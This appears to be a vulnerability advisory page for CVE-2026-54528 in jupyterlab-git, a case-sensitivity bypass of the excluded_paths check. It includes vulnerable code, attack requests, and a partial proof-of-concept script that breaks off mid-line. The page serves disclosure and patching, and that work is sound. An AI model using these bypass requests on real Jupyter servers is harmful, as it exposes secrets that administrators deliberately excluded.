🛡️ CVE-2026-54528 — jupyterlab-git

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-178 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories

Summary

jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab_git/handlers.py:91) to enforce the admin-configured excluded_paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.

Vulnerable Code

```python

# jupyterlab_git/handlers.py:84-92

async def prepare(self):

"""Check if the path should be skipped"""

await ensure_async(super().prepare())

path = self.path_kwargs.get("path")

if path is not None:

excluded_paths = self.git.excluded_paths

for excluded_path in excluded_paths:

if fnmatch.fnmatchcase(path, excluded_path): # ← always case-sensitive

raise tornado.web.HTTPError(404)

```

Root Cause

fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.

```python

fnmatch.fnmatchcase("/project/secrets", "/project/secrets") # True — blocked

fnmatch.fnmatchcase("/project/Secrets", "/project/secrets") # False — bypasses check

```

On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.

Impact

An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded_paths by varying the case of the URL path segment. This grants:

  • Read file content at any git ref (/content endpoint)
  • Read working tree files in the excluded directory
  • View git status, log, diff on the excluded path
  • Enumerate commits touching excluded files

Attack Scenario

1. Admin configures c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]

2. Normal request POST /git/project/secrets/status → HTTP 404 (blocked)

3. Attacker requests POST /git/project/Secrets/status → HTTP 200 (bypass)

4. Attacker reads secret: POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returned

Exploit

See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded_paths, and demonstrates bypass + exfiltration via HTTP.

```python

import json, os, shutil, subprocess, sys, tempfile, time

import urllib.request, urllib.error

from jupyterlab_git.handlers import GitHandler # real import, no mock

from jupyterlab_git_core.git import Git

import jupyterlab_git_core

PORT = 18895

TOKEN = "xtoken"

BASE_URL = f"http://127.0.0.1:{PORT}"

SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"

def post(path_seg, endpoint, body=None):

url = f"{BASE_URL}/git/{path_seg}{endpoint}"

data = json.dumps(body or {}).encode()

req = urllib.request.Request(url, data=data, method="POST",

headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"})

try:

resp = urllib.request.urlopen(req, timeout=10)

return resp.status, json.loads(resp.read())

except urllib.error.HTTPError as e:

return e.code, e.read().decode()

def main():

base_dir = tempfile.mkdtemp(prefix="jlgit_")

workspace = os.path.join(base_dir, "workspace")

repo_dir = os.path.join(workspace, "project")

secret_dir = os.path.join(repo_dir, "secrets")

os.makedirs(secret_dir)

with open(os.path.join(secret_dir, "cred.txt"), "w") as f:

f.write(SECRET + "\n")

git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x",

"GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"}

subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True)

subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True)

subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir,

capture_output=True, check=True, env=git_env)

config_path = os.path.join(base_dir, "jupyter_server_config.py")

with open(config_path, "w") as f:

f.write(f'c.ServerApp.root_dir = "{workspace}"\n')

f.write(f'c.ServerApp.token = "{TOKEN}"\n')

f.write(f'c.ServerApp.open_browser = False\n')

f.write(f'c.ServerApp.port = {PORT}\n')

f.write(f'c.ServerApp.ip = "127.0.0.1"\n')

f.write(f'c.ServerApp.disable_check_xsrf = True\n')

f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n')

env = os.env

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity low, availability none.

Affected software

CVE-2026-54528 is recorded against 1 package.

  • jupyterlab-git (fixed in 0.54.0)

Timeline and source

Published on 19 June 2026 and last revised on 15 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
CWE CWE-178
Public Exploit ⚠️ Yes
Source OSV
Published 2026-06-19
Updated 2026-08-12
Modified 2026-07-15

Affected Packages

Software From version Fixed in
jupyterlab-git 0.54.0

Similar Threats

Exploit Protection

Are you running jupyterlab-git?

CVE-2026-54528 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-54528 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.